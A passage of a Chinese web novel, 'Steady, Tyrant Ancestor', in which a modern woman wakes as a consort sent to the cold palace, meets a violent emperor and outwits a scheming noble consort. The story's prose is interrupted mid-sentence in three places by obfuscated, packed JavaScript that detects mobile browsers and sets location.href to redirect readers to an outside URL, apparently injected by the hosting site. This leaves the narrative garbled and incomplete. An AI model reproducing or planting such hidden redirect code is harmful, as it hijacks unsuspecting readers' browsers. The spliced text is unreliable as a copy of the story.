《稳住,暴君老祖宗》 1. 冷宫中的妃子 “痛,好痛啊。” 躺在床上的夏星辰喃喃自语地说着梦话,身体在迷迷糊糊中感觉到一阵寒意;她凭借本能去拉扯被子时,却感到奇怪;不仅仅是被子变轻了,味道也变了,她明明记得很清楚,自己前天才更换的被单。 味道怎么可能一下子变得这么难闻! 带着疑惑微微睁开眼,夏星辰简直不敢相信自己双眼看到的一切,自己的床什么时候变得这般破旧了? 猛然地坐起身,看着自己周围的一切,自己所在的房间与自己的房间区别也太大了吧?她在慌乱中找回了那么一丝理智,缓过神后,她大喊道:“什么鬼啊?我的房间呢?我的库洛米玩偶呢?还有我新买的粉红被子呢?” 自己这一大嗓子吼出来,腰上突然传来一股剧痛,让她没忍住“嘶”了一声;她扶着自己的腰,慢慢地下了床。她仔细回想着自己遇到的事情,恍然大悟道:“想起来了,我被雷劈中了!” 想到自己被雷劈中了,就忍不住心疼自己,那感觉得多疼啊!都这样了,自己还没嗝屁吗? 命真硬!真难杀! 她边挪动脚步边看着这破破烂烂的寝宫,脸上尽是嫌弃的表情;认为自己一定是在做梦,下一秒,她用力地捏着自己手臂上的肉,疼得她又喊出了一声,这一次的喊声竟然将人喊了过来。 门被推开,一名婢女走了进来,手里还拿着一个食盒,朝着夏星辰跑了过来。 “娘娘,奴婢拿了些点心,这是没人吃过的,您吃些吧。” 听到“娘娘”这两个字,夏星辰多么希望自己是幻听了。她脸上满是错愕,眼神直勾勾地看着眼前这个古装扮相的婢女,终究是张开了嘴问道:“娘娘?你叫我娘娘?你认真的吗?” 婢女点点头,脸上带着些惶恐。 “那你叫什么名字?这是什么地方?我又是谁?”她认真的看着这位婢女,试图想从她脸上看出“演戏”的痕迹。 “奴婢……奴婢叫小莲,这里是冷宫,娘娘您是当今陛下的明妃啊。” 小莲回答完这些问题后便不解地挠了挠头,她完全不知道眼前的明妃为何像失忆了一般。 但,身为现代人的夏星辰脸上可没有不解,她努力地回想着发生在自己身上的事情。她记得没错啊,明明就是一个很普通的加班夜晚,自己下班回家的路上,听着司机在车里放着的广播小说,然后一阵闷雷响起,然后下车的时候被雷劈中,然后……然后自己就莫名其妙出现在这里了。 理清了所有的思路,她终于意识到问题的重要性了。 “明妃?所以......苍天啊,我……我这是穿越了?救命啊,离了大谱,我要回家啊。” 夏星辰四处望了望,然后到处寻找着回去的蛛丝马迹,她可不想留在古代,虽然她没有看过这个小说,但是广播里的内容她可是听得一清二楚。 她穿书的这位原主明妃可是一个虽然出身名门贵女,但却是坏事做尽的人。若不是有她那赫赫有名的将军父亲和身为少年将军的兄长,就这样性格的女子早就死在深宫中了。 真是无语了啊,电视剧里的主角穿书都是穿到拥有高智商、以及雷霆手段的妃子身上。而她,却是穿到了一个被打入冷宫的妃子?这不就是小说里写的那种天崩开局吗? 而且这破旧的冷宫,一到雪季,刺骨的冷风便四处往屋里钻,刮得人骨头缝都疼,简直是跟死了没什么太大区别。 “娘娘,您没事吧?您……在找什么?奴婢帮您一起?”小莲小心翼翼地问出口。 她虽然不清楚夏星辰在在说什么,但看到她在寻找着什么,便也跟着莫名其妙地找了起来。 “没什么,你并帮不了我什么太大的忙。对了,忘记问你了,我是因为什么原因被打入这冷宫的?” 夏星辰认真地看着她,只因为她确实是只听过一半的小说内容,其他重要情节一无所知。她要做最坏的打算,万一一时半会儿回不去现代,至少了解大概的一个故事走向,自己就不会不明不白地在古代早早死去。 被她这双认真的双眼看着,小莲不明白她为何忘记了这些事,但她还是如实地将事情的来龙去脉说了出来。 “所以,我这是被陷害了?就因为那个贵妃说我往她汤里下毒,然后皇帝便把我打入冷宫?” “是……是的。” “那贵妃她死了吗?” 听到这个问题,小莲略显惊慌地摇了摇头,脸上的诧异依然没有减少半分。 “神经病啊!她又没死,为什么要对我下如此死手啊?一点活路都不给我留?我天啊,这罪行放到现代,我顶多被判个几年牢而已,怎么到这里就直接无期徒刑了?电视剧说得果然没错,古代是真的很可怕,动不动就血溅当场!” 夏星辰顿时感到一肚子窝火,这显然就是宫斗剧里的狗血下毒剧情,紧接着就是被不分青红皂白就赐死。 “不是我想吐槽,真是有病的剧情啊,那皇帝就信了?他不找证据证明我的清白什么的?” 小莲仍旧还是摇了摇头:“陛下本来就不管中宫之事。而且,您之所以能被打入冷宫,不仅仅是因为您给贵妃下了毒,还因为贵妃本就是太后偏爱的妃子。”最后那句话,小莲明显将声音放得很小。 听完小莲的话,夏星辰就更崩溃了,看着这四处漏风的冷宫,双眼逐渐暗淡无光,她重重的叹了口气:“贵妃有太后这个靠山啊!那一切就解释得通了。完蛋了,那真的是完蛋了,又出不去,按照宫斗剧的情节来说,被打入冷宫的妃子只剩下死路一条了;这也不知道现代的我还活着吗?感觉也不是特别好,被雷劈哪里还能活得下去?” 现在的夏星辰就像一朵蔫了的花,瞬间失去了所有抵抗的力气。 此时,那破旧的门再次被推开。 “明妃娘娘,奴婢实在是没想到,将军之女也会使那些腌臢手段?” 听到声音的夏星辰回过头看着推门而入的人,那人也是和小莲一样穿着婢女服饰;她说的这两句话,明显就是在狗仗人势! 好吧,她无语了,刚预测完自己的命运,杀了自己的刀就出现了。这深宫中,被打入冷宫的妃子真的是连条狗路过都得扑上去咬几口。 而她,便是被这打入冷宫的妃子。关键是,她一个现代人也不怎么聪明,平时也就拿宫斗剧来当下饭剧,谁知道后来穿越这种离谱的事情会发生在自己身上啊?早知道有一天真的能穿越到古代,就好好学一下电视剧里那些“高明手段”了,现在说什么都晚了。 一想到这,夏星辰就无比懊悔,真是书到用时方恨少啊。 “冬儿,你胡说什么?娘娘并非是这种人,还有,娘娘是陛下亲封的明妃,你一个婢女,竟敢这般对娘娘说话?” 话音刚落,一记重重的耳光落在小莲脸上,冬儿用那双目中无人的眼睛看着她,趾高气昂地说道:“这是冷宫,进了冷宫了,竟还异想天开想着出去?什么明妃娘娘啊,不过就是个弃妃罢了。” 夏星辰一步步地朝着冬儿走过去,将那一耳光还了回去。被打的冬儿一脸不可置信地看着她,印象中,这位明妃可是个从未替低等之人说话的,如今怎会替一个婢女出头? “你敢打我?”冬儿愤怒地对着她吼道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘,不可如此直视陛下,快跪下。”身旁跪着的小莲拉扯着夏星辰的衣袖。 小莲比谁都明白,这位主可真不是开玩笑的。 被小莲这么一提醒,夏星辰回过神,慌张的哦了一声,然后“噗通”一声跪下。 “我……不对不对,不能说我,臣妾见过皇......陛下。” 幸亏想起了小莲曾说过陛下这两个字;若是刚刚叫错了称呼,万一这皇帝以为她是细作什么的,那就真的是死得不能再死了。为了弥补刚刚的不敬,夏星辰自己又加了一个磕头礼,虽然不知道有没有用。 但,眼前的君王直接将目光落在了冬儿身上。明显,夏星辰的这个磕头应该是有用的。 “方才你说了些什么?再说一遍。” 感觉到目光的注视,明明隔着几步远,但冬儿很明显的感觉到自己像被一块大石头压在身上,连大气都不敢喘。 此刻,她根本不知道自己应该说些什么,君王那带着寒意的审视让她身体不自觉哆嗦了起来。 “朕问你呢,你把你说的话再说一遍。”他再次开口时,声音不带半分暖意,每个字都都透着彻骨的冷硬,听不出喜怒。这平静的话语,却让跪在地上的冬儿不由自主地打了一个寒颤。 冬儿喉咙动了动,还没开口,气息却先乱了节奏,脸色苍白:“陛......陛下,奴婢不记得了。” 这画面真是让人极度窒息,夏星辰偷摸地抬眼看着这位站在她们面前的皇帝尧让;此时他正神情严肃地看着冬儿,那冷漠的表情无疑就是在判死刑。 2. 凶残的暴君 生怕这祸水泼到自己身上,夏星辰连忙收回了那偷摸的眼神,保持着低下头的姿势。 尧让这一次没有再开口说话,反倒是身旁的太监林贤忽然开口,语气冷得让人忍不住打了个寒颤。 “既然不想说话,那你这条贱命也别要了。” 林贤一步步走向冬儿,冬儿才意识到自己将要大祸临头,连忙不停地磕头:“陛下,求陛下饶了奴婢,奴婢也是受了贵妃娘娘的指使,是贵妃娘娘让奴婢今夜杀了明妃娘娘的,奴婢不敢违抗贵妃娘娘的命令啊;求陛下开恩,求陛下开恩啊。” 下一刻,冬儿的脖子便被身前的林贤利落地扭断,她再也没有了开口的机会;原本还觉得聒噪的冷宫,此刻却鸦雀无声。 生活在二十一世纪的夏星辰哪里见过这种阵仗!尤其是在看到冬儿那毫无气息的身体倒在自己身旁时,那份恐惧更是达到了顶峰;她再也控制不住胃中起的呕吐反应,转过身将胃里本就还没消化的东西吐了出来。 尧让将目光落在眼前这个口吐不止的夏星辰身上;身旁的林贤似乎很了解自己主子,随即便对还跪在地上的小莲命令道:“你跟我出去吧。” 以为小莲也要落得跟冬儿一样的下场,夏星辰立即伸开双手挡在小莲身前:“陛下,小莲她可没做错什么,别杀她,行吗?”说这话时,声音带着微弱的恳求,与他对视时那内心的恐惧让她不禁咽了一下口水。 夏星辰的这番举动倒是让尧让和身边的林贤感觉到疑惑,身旁的小莲更是露出了一副不可置信的模样;以前的明妃,永远一副高傲姿态,遇事必躲,她是绝对不会让别人的事情殃及到自己的,因此,保护别人这种事更是不可能出现在她身上,若是有这般骨气,哪里还能被打入冷宫。 “娘娘,您放心吧,你的贴身婢女不会死的,只是陛下有话与您讲,奴才先将她带下去。” 听到林贤的解释,夏星辰这才半信半疑地收回了手,亲眼看着小莲跟着他出去。 小莲似乎是对她刚才那番举动给感动了,她边走边回头安抚:“娘娘,您放心,奴婢在外面等您。” 随着门被关上,整个冷风直冒的冷宫只剩下了尧让和夏星辰。 “起来吧。当然,你若是喜欢跪着,那便跪着。” 尧让话音刚落,便找了一个看起来还算干净的椅子坐下,然后就双眼直勾勾地盯着夏星辰,这眼神看得令她发怵。 夏星辰缓缓站起身,双腿早就麻了,站起来的时候身体还踉跄了一步,差点又双膝发软再次跪了下去。 哎!让她一个久坐办公室的牛马像刚刚那样跪着,简直就是酷刑;她坐在离自己很近的破烂椅子上,手轻轻地揉着自己发麻的膝盖,脸上还露出些许痛苦的表情。 毕竟是将军之女,原主究竟是怎么把自己这副躯壳弄得如此无用啊,这比夏星辰原来的身体还没用;真是遭罪啊。 夏星辰边想着边不满地摇了摇头表示深深的无奈。 她的这些奇怪的举动被尧让看在眼里。似乎是突然反应过来自己是和尧让共处一室,顿时心头一凉,随即便小心翼翼地侧过头看着他,然后声音放得极低:“陛下,您......有事吗?” 这话一说出来,夏星辰就后悔了,她实在是搞不懂这些敬语;再加上刚才亲眼目睹冬儿被杀的画面,她总算是对这个皇帝有了清楚的认知。果然啊,与广播小说上说的一模一样,这位皇帝可是个实实在在的暴君,原主又是个不受宠的妃子,夏星辰就更加害怕自己也会变成与冬儿一样的下场,而且,她在电视上看到过,古代的刑罚可真的不是开玩笑的,随便拿出一个都是能把现代人吓死的存在。 “我不是故意的。”意识到自己再次说错了话,抬起手往自己脸上轻轻打了自己一巴掌:“陛下,臣妾不是故意的。” “行了,朕没心思看你在这里疯疯癫癫。今日,苏老将军进宫见朕,以自己和你兄长的军功换你离开这冷宫。” 听到尧让说的最后那句话,她才猛然想起一件很重要的事情。对啊,她差点忘了,原主的父亲可是赫赫有名的老将军啊,实力应该不容小觑。 “那我是可以离开这里了?对吗?陛下。”夏星辰一想到自己要离开这又冷又破的鬼地方,心里就止不住地开心。 看着她手舞足蹈的开心模样,皇帝忽然开口,声音夹杂着冷淡:“在这冷宫待了这么长时间,朕以为你不想出去了。” “我又不是有病,这种地方谁会愿意一直留在这里。” “那你为何在贵妃的汤中下毒?” 尧让这话一说出口,夏星辰就感觉到他的言语间满满的寒意;她看着他,一开始的喜悦已经荡然无存了。 “我说没有,陛下您会信吗?” “我?你?看来明妃待在在冷宫中,竟连最基本的礼仪都忘得一干二净了。” 夏星辰被这话吓得从椅子上站起身,随即又“噗通”一声跪了下来,连着磕了几个响头,哪怕因为太用力跪下,而导致膝盖处传来像骨头碎了一样的剧痛感,此刻也全然顾不上了...... 即使她没有阅读过皇宫权谋的史书,但她明白惹皇帝龙颜大怒的下场;现在她还不想死呢! “不是不是啊,臣妾没有啊,只是......只是在冷宫中也没见过几个人,有些礼仪是忘了,但臣妾跟陛下保证,出去之后一定不会再犯错误了,陛下您别生气。”她深知眼下,及时认错才是最正确的事情。 “放心吧,你不会死,你这条命还有用呢,毕竟,苏老将军以及你兄长骁勇善战,立下赫赫功绩,以军功换你自由,应当是够分量的,出了这冷宫,什么该做,什么不该做,你应当是明白的,对吧?” 尧让的这番话让夏星辰瞬间明白了其中的意思;她之前在出租车上会认真的听广播里的小说内容,是因为觉得剧情很精彩;书中的原主是女主,之所以会进宫当尧让的妃子,并不是她喜欢尧让,而是因为她心里喜欢的那个小情郎。 夏星辰没记错的话,那个小情郎便是皇帝的兄长尧显显王。难怪,高高在上的皇帝怎么会亲自来接她出冷宫呢,原来是来试探她的,看来,尧让是已经知道了她的意中人是尧显了! 可是,她夏星辰又不是原主,自然是对那个什么尧显不感兴趣。原主真是一个愚蠢的傻瓜,她的所作所为在尧让这个皇帝眼里,可不就是在蓄意助尧显篡位吗?那可是砍头大罪啊,凭什么她犯下的罪要夏星辰一个现代人承担啊?救命啊...... “陛下,臣妾发誓,臣妾以一年的工资发誓,臣妾对陛下绝对忠心耿耿,您可千万别信那些小人说的话,什么下毒什么的,臣妾万万不敢啊。另外,陛下您放心,什么不该做的,臣妾一定不做,否则,让臣妾胖到两百斤。”夏星辰抬起手,默默地做了一个发誓的手势,表情无比坚定。 夏星辰又不傻,她才不去帮什么小情郎呢,无论是现代还是古代,任何人、任何事都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575488|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比不上性命更为重要;而且,她绝对不敢出轨、不做汉奸;所以,她才敢信誓旦旦地发了毒誓,一年工资和胖到两百斤,够毒了吧。 尧让站起身,走到她身前,一手轻轻地抬起她的下巴,冷淡道:“苏清夕,你最好别敷衍朕,想必你是知道朕的手段的,看在苏老将军劳苦功高的份上,朕不杀你,但你记住今日说的话,不然,别说是你的性命,整个将军府都将为你所作所为付出代价,听懂了吗?” “懂了。”夏星辰拼命地点点头。 “起来吧。” 夏星辰缓缓站起身,膝盖真是越来越觉得痛了;哪有人动不动就有让人下跪的癖好啊。 “林贤。” 听到尧让唤自己名字,林贤推门而入:“陛下。” “吩咐下去,把明妃的莹粹宫收拾收拾,方才那名婢女就继续跟着她。” “是,陛下。” 尧让突然再次将目光落在她身上,夏星辰挤出了一个假得不能再假的笑容:“陛下,还有什么事要吩咐吗?” “朕给你一次机会,坐龙辇。” 此话一出,林贤一脸震惊地看着夏星辰;他实在是不明白,方才皇帝究竟在冷宫内与明妃说了些什么,竟然让一向嫌弃他人触碰自己东西的皇帝提出让她坐自己的龙辇。那可是龙辇啊,除了皇帝,谁有资格坐此物。 夏星辰可不羡慕,她也不想要这个机会,那抹假笑仍然挂在脸上,随即开口婉拒:“臣妾多谢陛下抬爱,臣妾与小莲走着回去就行了。” 按照宫斗剧剧情来看,这个皇帝专属的龙辇岂是一般人能坐的?再说了,就刚才在冷宫里尧让说的那话,夏星辰有充分理由怀疑,这个狗皇帝是故意的。 他这是要让她成为皇宫中的的众矢之的! “别扯废话,上去!难不成,你要抗旨?”尧让盯着她。 皇帝的命令不敢不从,夏星辰脸上的假笑变成了为难的笑容:“哪里敢抗旨啊,臣妾多谢陛下......”说罢,她慢慢地朝着龙辇走去,直到坐了下去,这才知道龙辇竟如此的舒服。随后,那为难的笑容便转化为发自内心的笑。 看到夏星辰有如此待遇,小莲也很是开心,毕竟,能得到皇帝的宠幸,明妃就不会轻易再被其他嫔妃欺负。 果然,夏星辰昨夜坐龙辇之事便传遍至中宫,就连众大臣都略有耳闻。 “娘娘,您好厉害啊,昨夜您坐龙辇回宫之事已经传遍整个皇宫了;谁人不知当今陛下性情反复无常,可从未应允他人触碰自己的东西,娘娘您是第一个啊,要是一直这样就好了。” 看着小莲一副涉世未深的模样,夏星辰无奈的摇了摇头:“小莲啊,不是我说你,这种低成本的示好就把你迷得神魂颠倒了?你以为这是好事?陛下说好听点是性情反复无常,实则是专横暴戾,我在广播上听过的,他这帝位是靠厮杀坐上去的,这......” 话还未说完,她的嘴就被小莲紧急地捂上了。 “娘娘,这种事可不能大声喧哗,更不能议论陛下,您忘记昨夜冬儿的死状了吗?” 想到冬儿的死状,夏星辰不自觉地摸了一下自己的脖子,连连感叹:“没错没错,这种事可说不得。不好意思不好意思,还没习惯当娘娘哈!这凶残的暴君我实在是惹不起。” 似乎是想起了一件很重要的事情,她看向小莲,问道:“小莲,你是否知道显王?” “娘娘,您又要出宫啊?” 3. 心疼男人倒霉一辈子 “出宫?我出宫做什么?” 小莲一脸认真地看着她,说道:“去找显王殿下啊,您之前一直都这样啊。” “我一直都偷偷出宫去找他?所以,我喜欢显王啊?那我有没有做什么背叛陛下的事情?”问出这个问题的时候,夏星辰立即做了一个抱胸的姿势,她害怕从小莲嘴里听到什么不得了的事情。 “背叛?奴婢不知道啊,但是您在年少时便喜欢显王殿下了。” 夏星辰拉着小莲的衣袖,让她坐在自己身旁的椅子上,俨然一副听八卦的表情:“细细与我说一下,我与显王是怎么认识的?” “您父亲苏将军与先帝有交情,而且交情甚是很好,他们本有意让两家结亲,但娘娘您一直心悦的便是显王殿下;即便显王殿下对您不冷不淡,可是您依旧对他很好,什么都愿意为他做;有一次还为了显王殿下与他人开的玩笑,您竟然不顾自身安危,在寒冬腊月跳入池中,生了一场大病,足足昏睡了七天呢;后来,因为您一直以伤害自己身体为要挟,逼得苏将军和先帝不得不将您和太子的婚约作废。” “我的天啊,竟然还有这么恋爱脑的精神病啊,那可是太子妃啊!多少人梦寐以求的高位耶,她竟然不要太子,要一个不喜欢自己的人?这不是脑子有病是什么?果然,哪个朝代都有属于自己的纯爱战士。”吐槽完后,她看着小莲:“你继续,然后呢?我又怎么成为当今陛下的妃子了?” 小莲说的这些故事,可是夏星辰在广播剧里没听到的内容。说实话,这本小说的剧情,的确是很有意思。 “您之前与我说过,您之所以进宫当妃子,就是因为想帮助显王殿下;所以,您才会在贵妃的汤里下毒,目的是不让其他嫔妃怀龙种。至于其他的,奴婢就不知道了。” 听到这番话,夏星辰顿感太阳穴那里传来一阵剧痛,她双手揉了揉太阳穴,简直是气的不打一处来:“真是离谱给离谱他妈开门,离谱到家了,照你这么说,往贵妃汤里下毒的确是我做的?并不是她陷害我?” 小莲点点头,给出了她所提出问题的答案。 “好好好,怪不得贵妃要杀我呢;如果是这样的话,想必陛下也知道了我喜欢显王,昨夜他会让我坐龙辇,并不是他宠幸我,而是故意而为之,让我成为众矢之的,以此来试探我是否还会帮助显王。如果我继续帮助显王,那么陛下一定会杀了我,而且,他也一定知道那个毒就是我下的。”夏星辰想清楚了前因后果之后,便像个泄了气的皮球,自己就是一个妥妥的背锅侠啊。 “看来,聪明也不是一件好事啊,完蛋了,我平时就不喜欢看那些烧脑的剧,原因就是自己看不懂;这下好了,直接是身临其境了。” 看到夏星辰如此苦恼,小莲不禁笑了出来。 “我都愁死了,你还笑得出来啊,小莲。” “娘娘,你自从上次摔了一跤后便像变了个人似的,不像以前那般高高在上了;奴婢是跟着您一起长大的,有些话奴婢一直不敢跟您讲,其实显王殿下根本就不喜欢您,他一直在利用您对他的喜欢肆意妄为,一直在欺负您,你若是不喜欢他了,如此甚好。” 以为夏星辰会像以前原主那般惩罚她;但没想到夏星辰竟笑出了声:“估计是摔了一跤摔清醒了吧,小莲你以后有什么事都可以跟我说,同时,你一定要记得一句话,这句话很重要,甚至能影响一个人的一生。” “什么话呀?” “心疼男人倒霉一辈子。” 此话一出,小莲没忍住大笑了起来:“没错,娘娘说得有理,虽然奴婢觉得此话甚是奇怪,但是,娘娘如今大梦初醒,小莲很开心。” “低调低调,别太迷恋我哦,我知道我自己有魅力。”夏星辰脸上的得意尽显。 “奴婢见过明妃娘娘,贵妃娘娘有请。”贵妃的婢女躬首说道。 她的出现打破了此时的愉悦。 夏星辰稍作思考,便点了点头:“好,我......本宫梳妆打扮后便去。” 待婢女走远后,小莲的脸上露出了担心的神色:“娘娘,贵妃娘娘这时候请您过去,定是听闻昨夜之事,再加上冬儿被杀,若是她因这些事刁难于您,该如何是好?” “我真是服了,硬生生活成了一个背锅侠,现代躲不过,穿书到古代了也躲不过;那陛下也真是的,他自己杀的人关我什么事啊?自己也不去解释解释。算了,都要面对的,兵来将挡水来土掩吧。” 夏星辰发泄完自己心中的不满后,努力挤出了一个笑容,毅然决然去“赴死”。 刚走到门口,似乎是想到了所谓的妙计;她跑回去小声地对小莲说道:“小莲,如果我半个时辰后还没回来,你马上去找陛下,就跟他说他要是不来救我,我就给他戴绿帽子。” “这......娘娘,会不会太过分了,万一陛下生气了,到时候会死一堆人的;之前丽贵人就因为惹怒了陛下,足足赐死了丽贵人以及寝宫所有侍奉之人呢。” 听到最后那句话,夏星辰不自觉因震惊张大了嘴:“我们这个陛下可真是专横暴戾啊,一个不开心就要杀人;没人能管他吗?他母亲太后呢?” “太后也不敢管陛下!” “厉害啊,连太后都管不了他;不过眼下此事不重要,你就按我说的做,不然我的命就保不住了,时辰不早了,我过去了。” 夏星辰可不敢迟到,鬼知道那贵妃是个什么人物啊,她可是比自己的妃位高,万一以迟到的事刁难她,那可真是遭老罪了。 一路小跑到贵妃寝宫前,简单地收拾了一下仪容,便走了进去,见到了这位长相甜美的贵妃。 “臣妾见过贵妃娘娘。” 不愧是贵妃,将目中无人这四个字表现得淋漓尽致。她就坐在椅子上一点点地剥着手中的那颗葡萄皮,完全没抬眼看过夏星辰一眼。夏星辰就这样乖乖看着她,但在内心早就暗暗问候她祖宗了。 “妹妹不必多礼,坐吧。” “多谢贵妃娘娘。” 屏退了下人后,贵妃萧诗柔将剥好的葡萄放在一个精致的紫色碟子上;随即便开口说道:“妹妹,没想到你这一次这么快便从冷宫出来了,不愧是将军之女啊,做什么事、闯什么祸都有娘家人庇护,不过,妹妹你也别太得意了,毕竟,苏将军手握的兵权对陛下来说可不是什么好东西啊;也许旁人不知晓陛下为何让你坐他的龙辇,但你我都心里有数。” 夏星辰的确是从广播剧里了解到原主的妃位正是靠着她爹手握的兵权才得到的,也正是因为如此,原主才能一次又一次地肆无忌惮帮助她的小情郎尧显;所以,尧让不仅仅是在试探她,也是在试探将军府的忠心,看来,他已经萌生杀心了。 就原主做的那些事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575489|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尧让将她的命留到今日,也算是仁至义尽了。 萧诗柔从碟子中拿起那颗剥好的葡萄,再次阴阳怪气地说道:“本宫知道你喜欢显王,所以才接近陛下;你在本宫的汤里下毒的目的是怕本宫怀了龙种,到那时你的显王便没有机会了,所以,你想自己怀龙种,以此坐上皇后之位;妹妹的胃口还真是大呢。妹妹,本宫既然有本事让你被打进冷宫,就有再次让你滚回去的手段。” 话音刚落,萧诗柔便将手中的葡萄放进嘴里;朝着夏星辰笑了笑。 下一刻,她便瞬间换了一副嘴脸,痛苦的大喊:“救命啊,本宫的肚子好痛啊。” 看到她这般样子,夏星辰慌乱站起身,脑子里迅速想着应对之法;也不知道小莲有没有成功将皇帝带来。 门外的婢女听到屋内萧诗柔痛苦的叫喊声,便推开门进入,其中一个婢女看着夏星辰,不分青红皂白便将她定罪:“明妃娘娘您仍旧不知悔改,还想着谋害贵妃娘娘,您好歹毒的心啊。” “我没有,你哪只眼睛看到我害她了?”夏星辰辩驳道。 “皇上驾到。” 听到这四个字,夏星辰嘴角不自觉上扬,看来,小莲成功将皇帝带来了。 原本还在显露痛苦模样的萧诗柔疑惑地看着身旁的婢女,从婢女那同样疑惑的模样中便猜测到了真实的原因,她抬眼看向夏星辰。 “没错,是妹妹把陛下带来的,姐姐不是想要诬陷吗?那总不能每一次都劳烦太后来主持公道吧?这一次,妹妹把陛下带来了,让他来怜惜姐姐,岂不是更好?”夏星辰看着她诚实地说道,脸上还显现一副对贵妃这种腌臢手段的鄙视表情。 “你......苏清夕,你竟然变得这般聪明了,是本宫小瞧你了。”萧诗柔咬牙切齿地说道。 夏星辰嘴角上扬:“过奖了!” 尧让踏入贵妃寝宫,落坐在主位上,看着一副痛苦模样的萧诗柔。 “贵妃这副模样,出了什么事?” 萧诗柔闻言,便抬眼望向陛下,声音带着恰到好处的委屈:“回陛下,臣妾原本是想邀请明妃妹妹来寝宫品茶,没想到,妹妹竟指责臣妾之前是在冤枉她,随即妹妹便一气之下将一颗葡萄塞进了臣妾嘴里,谁人不知臣妾对葡萄似有不妥,尝之便会身起红疹。” 说着说着便落下了几滴惹人怜惜的泪,她手拿帕子轻轻拭去泪水,语气中的委屈之意更甚:“臣妾因此小事惊扰了陛下,是臣妾的不是。” 萧诗柔这简单的三言两语,既显得她柔弱且惹人怜惜,又处处显露出对皇帝的敬重,分寸感拿捏得恰到好处。 这下子,劣势落在了夏星辰身上。 尧让将目光看向她:“明妃,你有何话要说?” 既然萧诗柔如此的茶言茶语,那她便决定以魔法打败魔法! 暗自下定决心后,夏星辰便用力眨巴着双眼,使眼眶逐渐发红,让拼命挤出来的泪水往下掉。为了更为逼真,她死死咬住自己的下嘴唇,发出细细地啜泣声:“臣妾......臣妾真的没有那样做,明明......明明是姐姐特意让人将臣妾叫过来,质问臣妾为何昨夜坐陛下的龙辇回宫,还说臣妾没有资格。求陛下明鉴,臣妾昨夜才从冷宫出来,纵使对姐姐再有不满,也不会在此时做糊涂事啊,若真的如姐姐所说的那般,臣妾莫不是在自讨苦吃?” 4. 装绿茶是我的看家本领 话说到一半,她抬起被泪水沾湿的眼,望着皇帝,一脸的茫然又委屈:“况且,同样的法子,前些日子才使了一遍,臣妾就算再傻,也断然不会傻到再去做一遍啊,姐姐真的是误会臣妾了。” “你......你这贱人,你胡说八道,明明就是你在害我,你为何在陛下面前颠倒黑白?”萧诗柔被夏星辰这番绿茶言论气得破口大骂。 夏星辰将最后的戏演完,拿起手中那已经湿了大半的帕子将脸上的泪水拭去,语气里带着认命般的柔弱:“罢了......陛下,若是臣妾受罚能让姐姐消气些,能让陛下不受此事困扰,那......那臣妾愿意重新回到冷宫中,这惩罚臣妾受着便是了,只求姐姐别再因此气坏了身体才是。” 她说完便低下头,泪水再次完美配合着她落在衣襟上,那可怜又无助的模样让人看了心生怜悯,仿佛是受了天大的冤屈似的。 萧诗柔强忍着痛苦,愤怒地骂道:“贱人,本宫杀了你。” “够了!”尧让声如惊雷,一手随即重重地拍在桌子上;因力道太重,桌子上的茶杯也随之落地。 尧让的发怒让二人立刻安静了下来;整个寝宫也瞬间变得鸦雀无声。夏星辰默默低下了头不敢再继续演戏;小莲跟她说的话,她可都还记得呢,万一这专横暴戾的皇帝真的龙颜大怒,那可真的是得不偿失了。 “你们二人这般胡闹,成何体统!眼里还有没有规矩?吵得朕心烦意乱,你们当这皇宫是市井茶楼吗?”说着,他深吸一口气,语气带着压抑的怒火:“再敢多言一句,拖下去砍了。” 霎那间,寝宫内的空气仿佛都凝固了,无人敢发出半分响声。 随后,他便将目光落在萧诗柔身上,声音没有一点暖意:“贵妃,这葡萄是太后赐给你的吧,你这是在戏耍朕吗?还是你觉得朕是什么愚蠢之人吗?回答朕。” “陛......陛下,臣妾不敢戏耍您,是臣妾错了。”眼看此事已经败露,萧诗柔再有天大的胆子也不敢再狡辩半点,只能承认此次事情是自己的错;她并没有半点自信赌自己在这位心狠手辣的帝王心中的分量,更不敢因此丢了性命。 “自今日起,贵妃禁足寝宫内,闭门思过三日,三日之内,没有朕的旨意,不得出寝宫半步。”尧让的语气不带半分波澜,却透着不容置喙的帝王威严。 他站起身,看向跪地低着头的夏星辰,开口道:“还有你,站起身,随朕来。” 话音落时,他径直往寝宫外走去,只留下满堂寂静。 夏星辰站起身,对上了萧诗柔那双满是愤恨和不甘的眼睛;她的眼神也丝毫没有怯懦,发出了极低的声音:“姐姐,妹妹忘了告诉你,装绿茶可是臣妾的看家本领。” “贱人,你竟然有如此心机!” 面对萧诗柔无能的责骂,她毫不在意,眼神流露出一抹认真:“还有一件事,姐姐,你错了,妹妹可不喜欢显王,你所认为的只是你认为的,拿不存在的东西威胁我,太可笑了。” 说完这番话,她便转过身朝外走去,只留下身后生气抓狂的萧诗柔。 